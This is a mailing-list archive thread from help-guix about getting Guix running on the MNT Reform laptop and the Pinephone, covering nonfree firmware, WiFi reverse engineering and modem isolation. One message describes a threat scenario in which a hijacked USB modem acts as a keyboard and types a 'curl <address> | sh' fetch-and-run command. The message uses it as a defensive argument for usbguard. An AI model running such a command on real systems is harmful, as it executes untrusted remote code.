* Re: Guix on the MNT Reform 2021-09-08 10:32 ` Christine Lemmer-Webber @ 2021-09-08 16:47 ` Vagrant Cascadian 2021-09-08 18:10 ` Christine Lemmer-Webber 2021-09-09 14:10 ` Denis 'GNUtoo' Carikli 2021-09-08 18:08 ` Christine Lemmer-Webber 1 sibling, 2 replies; 31+ messages in thread From: Vagrant Cascadian @ 2021-09-08 16:47 UTC (permalink / raw) To: Christine Lemmer-Webber, Denis 'GNUtoo' Carikli; +Cc: help-guix [-- Attachment #1: Type: text/plain, Size: 1327 bytes --] On 2021-09-08, Christine Lemmer-Webber wrote: > Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes: >> Here this I'MX8 issue also affect the Librem5 for instance, and >> probably several other devices as well. And the neat thing about the >> Librem 5 is that as I understand is that the modem and the WiFi cards >> are removable. > > I am guessing the Pinephone has a similar issue (or more) though I'm not > sure. The Pinephone doesn't have that specific issue, as it's a different CPU (Allwinner A64), the same used on the pine64+ and pinebook, which are supported in Guix's u-boot. I vaguely recall those boards having similar types of issues early on requiring some binary blobs, but it was fixed in u-boot upstream with a free implementation! > Pinephone doesn't have removeable cards, though it does have kill > switches, which is neat. I guess "removeable" is better if it also > means "replaceable" though. Yeah, one of the many features that pushed me over the edge in supporting the mnt/reform was all the swappable components; if reverse-engineering does not happen for one of the few components that isn't already free, the component liklely can be swapped out for one with a free implementation. And the inherent upgradability in designing something with swappable components... live well, vagrant [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 227 bytes --] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-08 16:47 ` Vagrant Cascadian @ 2021-09-08 18:10 ` Christine Lemmer-Webber 2021-09-09 14:10 ` Denis 'GNUtoo' Carikli 1 sibling, 0 replies; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-08 18:10 UTC (permalink / raw) To: Vagrant Cascadian; +Cc: help-guix Vagrant Cascadian <vagrant@debian.org> writes: > [[PGP Signed Part:Undecided]] > On 2021-09-08, Christine Lemmer-Webber wrote: >> Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes: >>> Here this I'MX8 issue also affect the Librem5 for instance, and >>> probably several other devices as well. And the neat thing about the >>> Librem 5 is that as I understand is that the modem and the WiFi cards >>> are removable. >> >> I am guessing the Pinephone has a similar issue (or more) though I'm not >> sure. > > The Pinephone doesn't have that specific issue, as it's a different CPU > (Allwinner A64), the same used on the pine64+ and pinebook, which are > supported in Guix's u-boot. I vaguely recall those boards having similar > types of issues early on requiring some binary blobs, but it was fixed > in u-boot upstream with a free implementation! Oh good news! It's nice to hear of success stories like this. Speaking of, the other "guix system image" thing on my queue was to work on getting Guix running (if not usable as a phone) on my pinephone. I tried: guix system image --image-type=pine64-raw pine64-barebones.scm and flashing the output to an SD card, but that didn't boot (or if it did, it didn't display anything on the screen). So I assume some extra work is necessary. - Christine ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-08 16:47 ` Vagrant Cascadian 2021-09-08 18:10 ` Christine Lemmer-Webber @ 2021-09-09 14:10 ` Denis 'GNUtoo' Carikli 1 sibling, 0 replies; 31+ messages in thread From: Denis 'GNUtoo' Carikli @ 2021-09-09 14:10 UTC (permalink / raw) To: Vagrant Cascadian; +Cc: help-guix [-- Attachment #1: Type: text/plain, Size: 4354 bytes --] On Wed, 08 Sep 2021 09:47:02 -0700 Vagrant Cascadian <vagrant@debian.org> wrote: > On 2021-09-08, Christine Lemmer-Webber wrote: > > Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes: > >> Here this I'MX8 issue also affect the Librem5 for instance, and > >> probably several other devices as well. And the neat thing about > >> the Librem 5 is that as I understand is that the modem and the > >> WiFi cards are removable. > > > > I am guessing the Pinephone has a similar issue (or more) though > > I'm not sure. > > The Pinephone doesn't have that specific issue, as it's a different > CPU (Allwinner A64), the same used on the pine64+ and pinebook, which > are supported in Guix's u-boot. I vaguely recall those boards having > similar types of issues early on requiring some binary blobs, but it > was fixed in u-boot upstream with a free implementation! WiFi: ----- For any FSDG compliant distribution, the issue with the Pinephone will be the WiFi: the WiFi driver requires a nonfree firmware. There might be a way around that though: There are various Realtek drivers that are released as GPL with the binary firmware as hex arrays inside the drivers, in files with GPL headers. And I even managed to find someone at an event (CCC Camp) that did a little bit of reverse engineering on one of such binary firmwares. Since we have GPL headers, we should be legally safe here and almost everything should be permitted, including decompilation, automatic reconstruction of corresponding source code, etc. However the firmware architecture (8051) is less well supported by some of the tools like retdec for instance, but we still have tools like radare2, or sdcc that support it. And we even probably have several emulators for that architecture as well. Modem: ------ There is also another issue that affects several smartphones like the Librem5, the GTA04 (if I recall well), and the Pinephone, but it's not directly related to FSDG distributions: the modem is connected through USB. It also affects some laptops with (potentially builtin) USB modems. While it's order of magnitude better than most phones that have shared memory[2], we still need to protect against the modem being potentially malicious. To do that we might need to enable usbguard or similar things and disable usb in u-boot for instance, to be sure that the modem can't become a keyboard. On some devices it might be really easy for an attacker to make the modem become a keyboard as in some cases the modem is really a smartphone on a chip[3], and so it has some mix of Android and GNU/Linux running in one of its processor (and probably nonfree modem firmwares / OS running on the other processors). So on the GNU/Linux side of the modem you can probably reconfigure the USB peripheral to also be a keyboard. And it might not be that hard for attackers to find vulnerabilities in the modem cellular stack and escalate to the GNU/Linux part of the modem[4]. Once there, the attacker wound't be able to reconfigure the modem as a keyboard and run commands with 'Alt+F2 + curl <address> | sh' if usbguard blocks the USB reconfiguration of the modem. And while that kind of risk might not affect everybody, I think it would still be a good idea to address them as sometimes compromise of smartphones can lead to people being killed by repressive political regimes[5]. And it would be a bad thing if these people wound't be able to use free software because of security reasons. And here GNU/Linux has probably way more potential to achieve that than Android in the long run due to its architecture and code quality. References: ----------- [1]https://libreplanet.org/wiki/Group:Hardware/research/WiFi/Realtek [2]https://redmine.replicant.us/projects/replicant/wiki/ModemIsolationResearch [3]https://osmocom.org/projects/quectel-modems/wiki/Pine64_Pinephone [4]https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20video%20and%20slides/DEF%20CON%2027%20Conference%20-%20Xiling%20Gong%20-%20Exploiting%20Qualcomm%20WLAN%20and%20Modem%20Over%20The%20Air.mp4 [5]Typically smartphones and computers of dissident living abroad are targeted in order to find out who they work with in the repressive country in order to kill / torture / imprison these people. Denis. [-- Attachment #2: OpenPGP digital signature --] [-- Type: application/pgp-signature, Size: 833 bytes --] ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-09-08 10:32 ` Christine Lemmer-Webber 2021-09-08 16:47 ` Vagrant Cascadian @ 2021-09-08 18:08 ` Christine Lemmer-Webber 1 sibling, 0 replies; 31+ messages in thread From: Christine Lemmer-Webber @ 2021-09-08 18:08 UTC (permalink / raw) Cc: help-guix Christine Lemmer-Webber <cwebber@dustycloud.org> writes: > Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes: > >> Christine Lemmer-Webber <cwebber@dustycloud.org> wrote: >> >>> I had thought looking at the manual of the MNT Reform that only the >>> HDMI port required a blob. This will be disappoiting if we can't get >>> the Reform into Guix proper soon. There are of course channels, and >>> maybe the work here might have to move to one of those locations >>> rather than getting committed to the main guix repo, but I hope not. >> >> In their "Re-Introducing Reform" blog post[3], MNT Research states the >> following: >> >>> Unfortunately, during the boot process, i.MX8M requires a >>> closed-source firmware for an embedded ARCompact processor in the >>> Synopsys DDR4 PHY. This firmware, which is only a few kilobytes in >>> size, is responsible for regulating the physical connection to the >>> DDR chips in the face of changing temperatures. We are in contact >>> with reverse engineers with the goal of analyzing what the >>> capabilities of this so called PHY Utility Block (PUB) are, and to >>> find out if we have a chance to replace this firmware at some point >>> in the future. > > So, that is disappointing, but also a space for optimism I guess? I > would be curious to know more about this reverse engineering effort. > >> So it would also be a good idea to remind them about that and >> potentially look for other declarations from MNT Research about the >> DDR4 firmware. > > Yeah. I talked with them a bit today btw. There hasn't been progress, and the conversation might have reignited some interest, but it was made clear that this was not a current focus at the moment. ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber ` (5 preceding siblings ...) 2021-08-17 17:24 ` Christine Lemmer-Webber @ 2021-08-18 0:36 ` Jonathan McHugh 2021-08-29 19:10 ` Joshua Branson 2021-08-29 21:38 ` Jonathan McHugh 6 siblings, 2 replies; 31+ messages in thread From: Jonathan McHugh @ 2021-08-18 0:36 UTC (permalink / raw) To: Christine Lemmer-Webber; +Cc: help-guix I hope you are enjoying the mechanical keyboard, it seems great! ==================== Jonathan McHugh indieterminacy@libre.brussels August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote: > Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it > but I'm kind of low on time right now... > > I wonder if anyone else has started making progress towards this? > > What I'd love: a tutorial that says "here are the steps to make an sd > card you can boot your reform with"! > > Christopher Lemmer Webber writes: > >> I'm very excited to see the MNT Reform launch: >> >> https://www.crowdsupply.com/mnt/reform >> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live >> >> Completely hackable laptop; all the designs (that are possible) are >> libre, and you can even 3d print to replace many of the parts. >> >> However my impression is that running Guix on ARM is not necessarily >> straightforward. I haven't tried it yet. >> >> Most important specs: >> >> CPU: NXP/Freescale i.MX8MQ with 4x ARM Cortex-A53 cores (1.5 GHz), >> 1x Cortex-M4F core. CPU and RAM are on exchangeable SO-DIMM sized >> module. >> RAM: 4GB LPDDR4 memory >> GPU: Vivante GC7000Lite GPU with mainline Linux drivers and OpenGL >> 2.1, ES 2.0 >> >> (My other main worry is: that's pretty light on RAM these days...! >> But hey, maybe incentive for me to cut the fat in the programs I use a >> bit more...) >> >> I am thinking of getting one and running Guix on it. It would be nice >> to know that I wouldn't be alone. :) Anyone else planning to get one >> and joing me on the journey on maybe the most hacker-oriented laptop >> ever? >> >> - Chris ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-08-18 0:36 ` Jonathan McHugh @ 2021-08-29 19:10 ` Joshua Branson 2021-08-29 21:38 ` Jonathan McHugh 1 sibling, 0 replies; 31+ messages in thread From: Joshua Branson @ 2021-08-29 19:10 UTC (permalink / raw) To: Jonathan McHugh; +Cc: Christine Lemmer-Webber, help-guix "Jonathan McHugh" <indieterminacy@libre.brussels> writes: > I hope you are enjoying the mechanical keyboard, it seems great! > The MNT reform does seem like my dream laptop. I do want a mechanical keyboard. What's the max RAM on the reform? I thought it was 4GB? Sounds pretty low... Though I do like what Luke Leighton is doing with the power SOC/GPU. > ==================== > Jonathan McHugh > indieterminacy@libre.brussels > > August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote: > >> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it >> but I'm kind of low on time right now... >> >> I wonder if anyone else has started making progress towards this? >> >> What I'd love: a tutorial that says "here are the steps to make an sd >> card you can boot your reform with"! >> >> Christopher Lemmer Webber writes: >> >>> I'm very excited to see the MNT Reform launch: >>> >>> https://www.crowdsupply.com/mnt/reform >>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live >>> >>> Completely hackable laptop; all the designs (that are possible) are >>> libre, and you can even 3d print to replace many of the parts. >>> > -- Joshua Branson (jab in #guix) Sent from Emacs and Gnus https://gnucode.me https://video.hardlimit.com/accounts/joshua_branson/video-channels https://propernaming.org "You can have whatever you want, as long as you help enough other people get what they want." - Zig Ziglar ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-08-18 0:36 ` Jonathan McHugh 2021-08-29 19:10 ` Joshua Branson @ 2021-08-29 21:38 ` Jonathan McHugh 2021-08-29 23:27 ` Joshua Branson 2021-08-30 9:02 ` Jonathan McHugh 1 sibling, 2 replies; 31+ messages in thread From: Jonathan McHugh @ 2021-08-29 21:38 UTC (permalink / raw) To: Joshua Branson; +Cc: help-guix Hi Joshua, The promise of a good laptop keyboard is making me reminisent of my old Sony VAIO GRV680 (still stored away for refashioning one day.... Admittedly it was more of a desktop replacement laptop than a lean setup.). It does appear from the website that 4GB is the peak. It would be nice to take advantage of the open schematics and replace enough hardware to overcome this but that would be wasteful indulgence. Personally, I probably should prioritise a solid desktop/server to handle more onerous chores (such as buildfarming and compiling). And also a superb external keyboard... and then wait until the wheels fall off one of my laptops machines. Im still jealous of your 32GB Ram server, if you have enough ICT signal you may as well switch to a leaner laptop which interacts with your mothership. FYI, Im getting increasing satisfaction from Gemini - so my RAM needs should be shrinking considerably. Also, because of the Guix Linode cookbook (thanks guys!) I even got around to pushing out a Gemini capsule. => https://guix.gnu.org/en/cookbook/en/html_node/Running-Guix-on-a-Linode-Server.html#Running-Guix-on-a-Linode-Server Im really pleased that Guix is getting a grip on how to manage open hardware and more FOSS centric infrastructure. Thanks for the pointer re Luke Leighton, i hope to investigate that down the road. Also, curious about the intersection between the MNT Reform team and Amiga hardware (extensions?). Kind regards, Jonathan August 29, 2021 9:10 PM, "Joshua Branson" <jbranso@dismail.de> wrote: > "Jonathan McHugh" <indieterminacy@libre.brussels> writes: > >> I hope you are enjoying the mechanical keyboard, it seems great! > > The MNT reform does seem like my dream laptop. I do want a mechanical > keyboard. What's the max RAM on the reform? I thought it was 4GB? > Sounds pretty low... > > Though I do like what Luke Leighton is doing with the power SOC/GPU. > >> ==================== >> Jonathan McHugh >> indieterminacy@libre.brussels >> >> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote: >> >>> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it >>> but I'm kind of low on time right now... >>> >>> I wonder if anyone else has started making progress towards this? >>> >>> What I'd love: a tutorial that says "here are the steps to make an sd >>> card you can boot your reform with"! >>> >>> Christopher Lemmer Webber writes: >> >> I'm very excited to see the MNT Reform launch: >> >> https://www.crowdsupply.com/mnt/reform >> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live >> >> Completely hackable laptop; all the designs (that are possible) are >> libre, and you can even 3d print to replace many of the parts. > > -- > Joshua Branson (jab in #guix) > Sent from Emacs and Gnus > https://gnucode.me > https://video.hardlimit.com/accounts/joshua_branson/video-channels > https://propernaming.org > "You can have whatever you want, as long as you help > enough other people get what they want." - Zig Ziglar ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-08-29 21:38 ` Jonathan McHugh @ 2021-08-29 23:27 ` Joshua Branson 2021-08-30 9:02 ` Jonathan McHugh 1 sibling, 0 replies; 31+ messages in thread From: Joshua Branson @ 2021-08-29 23:27 UTC (permalink / raw) To: Jonathan McHugh; +Cc: Christine Lemmer-Webber, help-guix "Jonathan McHugh" <indieterminacy@libre.brussels> writes: > Hi Joshua, > > It does appear from the website that 4GB is the peak. It would be nice > to take advantage of the open schematics and replace enough hardware > to overcome this but that would be wasteful indulgence. > > Personally, I probably should prioritise a solid desktop/server to > handle more onerous chores (such as buildfarming and compiling). And > also a superb external keyboard... and then wait until the wheels fall > off one of my laptops machines. I'm down for that! I'm actually hoping to crowdfund/purchase a Raptor server. There's a local ISP in town here. Most of the businesses use it. I could approach them and ask how much it would cost to host a server at their property. Then it's just a matter of convincing people to help me raise $9,000. Something like, let's get a Guix Power9 build server that guix people can hack on. If you give $10, you get a guix.gnu.org/~username webpage/gemini webpage for a year. If you donate $20, you get the previous perks plus an email account and so on. Would you like to help me work on this? > > Im still jealous of your 32GB Ram server, if you have enough ICT > signal you may as well switch to a leaner laptop which interacts with > your mothership. That 32GB RAM server is for sale! For $200 I can sell it to you for 16GB of RAM. For $300 I can sell it for 16GB of RAM. If you live in the U.S., shipping would be pretty easy. > > FYI, Im getting increasing satisfaction from Gemini - so my RAM needs should be shrinking considerably. > > Also, because of the Guix Linode cookbook (thanks guys!) I even got around to pushing out a Gemini capsule. > => https://guix.gnu.org/en/cookbook/en/html_node/Running-Guix-on-a-Linode-Server.html#Running-Guix-on-a-Linode-Server Haha. Chris Lemmer-Webber wrote the guide. I just put it in the cookbook. :) > > Im really pleased that Guix is getting a grip on how to manage open hardware and more FOSS centric infrastructure. > > Thanks for the pointer re Luke Leighton, i hope to investigate that > down the road. Also, curious about the intersection between the MNT > Reform team and Amiga hardware (extensions?). I interview him a week or two ago? He's got some really ambitious plans for it. He's also hiring for hardware/software developers. https://video.hardlimit.com/videos/watch/da57d61c-b2e9-473c-9ed0-9390bf610f67 (The video is also available on the non-free platform. You know which one). :) https://libre-soc.org/ > > Kind regards, > > Jonathan > > August 29, 2021 9:10 PM, "Joshua Branson" <jbranso@dismail.de> wrote: > >> "Jonathan McHugh" <indieterminacy@libre.brussels> writes: >> >>> I hope you are enjoying the mechanical keyboard, it seems great! >> >> The MNT reform does seem like my dream laptop. I do want a mechanical >> keyboard. What's the max RAM on the reform? I thought it was 4GB? >> Sounds pretty low... >> >> Though I do like what Luke Leighton is doing with the power SOC/GPU. >> >>> ==================== >>> Jonathan McHugh >>> indieterminacy@libre.brussels >>> >>> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote: >>> >>>> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it >>>> but I'm kind of low on time right now... >>>> >>>> I wonder if anyone else has started making progress towards this? >>>> >>>> What I'd love: a tutorial that says "here are the steps to make an sd >>>> card you can boot your reform with"! >>>> >>>> Christopher Lemmer Webber writes: >>> >>> I'm very excited to see the MNT Reform launch: >>> >>> https://www.crowdsupply.com/mnt/reform >>> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live >>> >>> Completely hackable laptop; all the designs (that are possible) are >>> libre, and you can even 3d print to replace many of the parts. >> >> -- >> Joshua Branson (jab in #guix) >> Sent from Emacs and Gnus >> https://gnucode.me >> https://video.hardlimit.com/accounts/joshua_branson/video-channels >> https://propernaming.org >> "You can have whatever you want, as long as you help >> enough other people get what they want." - Zig Ziglar -- Joshua Branson (jab in #guix) Sent from Emacs and Gnus https://gnucode.me https://video.hardlimit.com/accounts/joshua_branson/video-channels https://propernaming.org "You can have whatever you want, as long as you help enough other people get what they want." - Zig Ziglar ^ permalink raw reply [flat|nested] 31+ messages in thread
* Re: Guix on the MNT Reform 2021-08-29 21:38 ` Jonathan McHugh 2021-08-29 23:27 ` Joshua Branson @ 2021-08-30 9:02 ` Jonathan McHugh 1 sibling, 0 replies; 31+ messages in thread From: Jonathan McHugh @ 2021-08-30 9:02 UTC (permalink / raw) To: Joshua Branson; +Cc: help-guix Hi Joshua, That is excellent news. I will send you a private mail, as I now have a greater (indirect) interest in git repos being rapidly deployable - think TildeGit => https://tildegit.org/ OpenBSD Amsterdam has raised €14,395 for the OpenBSD Foundation through their VPS services (10 EUR VPS/PA 15 EUR VPS/renewal) => https://openbsd.amsterdam I had a very positive experience with Mischa, who oversees that service. => https://mischapeters.com/ A OpenBSD friend has a high opinion of the implementation, mentioning that practical concerns mean that some facets are upstream of that OS. He should be approachable should you have any points of concern for your project. Who knows, maybe you can even do some cross selling for your respective services....) As for me, I try to avoid actively consuming services operative within privacy repealing legislative domains (such a pity). However, you can still count me in for a small donation (woo, money for nowt!), certainly in reciprocation for this: => https://gnucode.me/make-money-contributing-to-gnu.html I will first consider your server offer for a donation for my local hackerspace, HSBXL - though I dont know if the shipping fees (and custom charges) would counter the generosity. Focus may preclude me maintaining any pooled infrastructure there (I prefer banjaxing my setups instead), though I am negotiating greater input on forge management. Im the only Guix user at that coterie, so the hypervisor's governance would likely remain heterogenous (in lieu of its membership). Nethertheless, your ambition does need replicating at an EEA level, Id like to be able to provide peripheral input (from 2022 at least). I may stalk Neutrinet meetups for stimulus and ideas. => https://neutrinet.be/ I look forward to viewing the interview (I used to interview musicians in a previous life, I miss the practice) => https://video.hardlimit.com/videos/watch/da57d61c-b2e9-473c-9ed0-9390bf610f67 I shall pass on the gossip concerning Libre-Soc's positive growth (Im heartened to read that NLNet have seeded them) => https://libre-soc.org ==================== Jonathan McHugh indieterminacy@libre.brussels August 30, 2021 1:28 AM, "Joshua Branson" <jbranso@dismail.de> wrote: > "Jonathan McHugh" <indieterminacy@libre.brussels> writes: > >> Hi Joshua, >> >> It does appear from the website that 4GB is the peak. It would be nice >> to take advantage of the open schematics and replace enough hardware >> to overcome this but that would be wasteful indulgence. >> >> Personally, I probably should prioritise a solid desktop/server to >> handle more onerous chores (such as buildfarming and compiling). And >> also a superb external keyboard... and then wait until the wheels fall >> off one of my laptops machines. > > I'm down for that! I'm actually hoping to crowdfund/purchase a Raptor > server. There's a local ISP in town here. Most of the businesses use > it. I could approach them and ask how much it would cost to host a > server at their property. Then it's just a matter of convincing people > to help me raise $9,000. Something like, let's get a Guix Power9 build > server that guix people can hack on. If you give $10, you get a > guix.gnu.org/~username webpage/gemini webpage for a year. If you donate > $20, you get the previous perks plus an email account and so on. Would > you like to help me work on this? > >> Im still jealous of your 32GB Ram server, if you have enough ICT >> signal you may as well switch to a leaner laptop which interacts with >> your mothership. > > That 32GB RAM server is for sale! For $200 I can sell it to you for > 16GB of RAM. For $300 I can sell it for 16GB of RAM. If you live in > the U.S., shipping would be pretty easy. > >> FYI, Im getting increasing satisfaction from Gemini - so my RAM needs should be shrinking >> considerably. >> >> Also, because of the Guix Linode cookbook (thanks guys!) I even got around to pushing out a Gemini >> capsule. >> => >> https://guix.gnu.org/en/cookbook/en/html_node/Running-Guix-on-a-Linode-Server.html#Running-Guix-on-a >> Linode-Server > > Haha. Chris Lemmer-Webber wrote the guide. I just put it in the > cookbook. :) > >> Im really pleased that Guix is getting a grip on how to manage open hardware and more FOSS centric >> infrastructure. >> >> Thanks for the pointer re Luke Leighton, i hope to investigate that >> down the road. Also, curious about the intersection between the MNT >> Reform team and Amiga hardware (extensions?). > > I interview him a week or two ago? He's got some really ambitious > plans for it. He's also hiring for hardware/software developers. > > https://video.hardlimit.com/videos/watch/da57d61c-b2e9-473c-9ed0-9390bf610f67 > > (The video is also available on the non-free platform. You know which > one). :) > > https://libre-soc.org > >> Kind regards, >> >> Jonathan >> >> August 29, 2021 9:10 PM, "Joshua Branson" <jbranso@dismail.de> wrote: >> >>> "Jonathan McHugh" <indieterminacy@libre.brussels> writes: >> >> I hope you are enjoying the mechanical keyboard, it seems great! >>> The MNT reform does seem like my dream laptop. I do want a mechanical >>> keyboard. What's the max RAM on the reform? I thought it was 4GB? >>> Sounds pretty low... >>> >>> Though I do like what Luke Leighton is doing with the power SOC/GPU. >> >> ==================== >> Jonathan McHugh >> indieterminacy@libre.brussels >> >> August 17, 2021 7:24 PM, "Christine Lemmer-Webber" <cwebber@dustycloud.org> wrote: >> >> Hi! Well my MNT Reform arrived. I'd like to start putting Guix on it >> but I'm kind of low on time right now... >> >> I wonder if anyone else has started making progress towards this? >> >> What I'd love: a tutorial that says "here are the steps to make an sd >> card you can boot your reform with"! >> >> Christopher Lemmer Webber writes: >> >> I'm very excited to see the MNT Reform launch: >> >> https://www.crowdsupply.com/mnt/reform >> https://www.crowdsupply.com/mnt/reform/updates/the-campaign-is-live >> >> Completely hackable laptop; all the designs (that are possible) are >> libre, and you can even 3d print to replace many of the parts. >>> -- >>> Joshua Branson (jab in #guix) >>> Sent from Emacs and Gnus >>> https://gnucode.me >>> https://video.hardlimit.com/accounts/joshua_branson/video-channels >>> https://propernaming.org >>> "You can have whatever you want, as long as you help >>> enough other people get what they want." - Zig Ziglar > > -- > Joshua Branson (jab in #guix) > Sent from Emacs and Gnus > https://gnucode.me > https://video.hardlimit.com/accounts/joshua_branson/video-channels > https://propernaming.org > "You can have whatever you want, as long as you help > enough other people get what they want." - Zig Ziglar ^ permalink raw reply [flat|nested] 31+ messages in thread
end of thread, other threads:[~2021-09-09 14:13 UTC | newest] Thread overview: 31+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2020-05-08 15:06 Guix on the MNT Reform Christopher Lemmer Webber 2020-05-08 18:19 ` Simon Josefsson 2020-05-09 13:03 ` Christopher Lemmer Webber 2020-05-08 18:30 ` Ekaitz Zarraga 2020-05-08 18:52 ` Vagrant Cascadian 2020-05-08 19:16 ` Leo Famulari 2020-05-08 20:44 ` John Soo 2020-09-02 22:22 ` Andreas Enge 2020-09-13 14:10 ` Andreas Enge 2020-09-15 3:23 ` Fredrik Salomonsson 2021-08-17 17:24 ` Christine Lemmer-Webber 2021-08-17 23:49 ` Fredrik Salomonsson 2021-09-05 1:31 ` Christine Lemmer-Webber 2021-09-06 17:07 ` Christine Lemmer-Webber 2021-09-06 19:37 ` Fredrik Salomonsson 2021-09-06 20:50 ` Christine Lemmer-Webber 2021-09-06 23:59 ` Fredrik Salomonsson 2021-09-07 1:13 ` Fredrik Salomonsson 2021-09-07 4:36 ` Denis 'GNUtoo' Carikli 2021-09-07 18:18 ` Christine Lemmer-Webber 2021-09-07 20:07 ` Denis 'GNUtoo' Carikli 2021-09-08 10:32 ` Christine Lemmer-Webber 2021-09-08 16:47 ` Vagrant Cascadian 2021-09-08 18:10 ` Christine Lemmer-Webber 2021-09-09 14:10 ` Denis 'GNUtoo' Carikli 2021-09-08 18:08 ` Christine Lemmer-Webber 2021-08-18 0:36 ` Jonathan McHugh 2021-08-29 19:10 ` Joshua Branson 2021-08-29 21:38 ` Jonathan McHugh 2021-08-29 23:27 ` Joshua Branson 2021-08-30 9:02 ` Jonathan McHugh
Code repositories for project(s) associated with this external index https://git.savannah.gnu.org/cgit/guix.git This is an external index of several public inboxes, see mirroring instructions on how to clone and mirror all data and code used by this external index.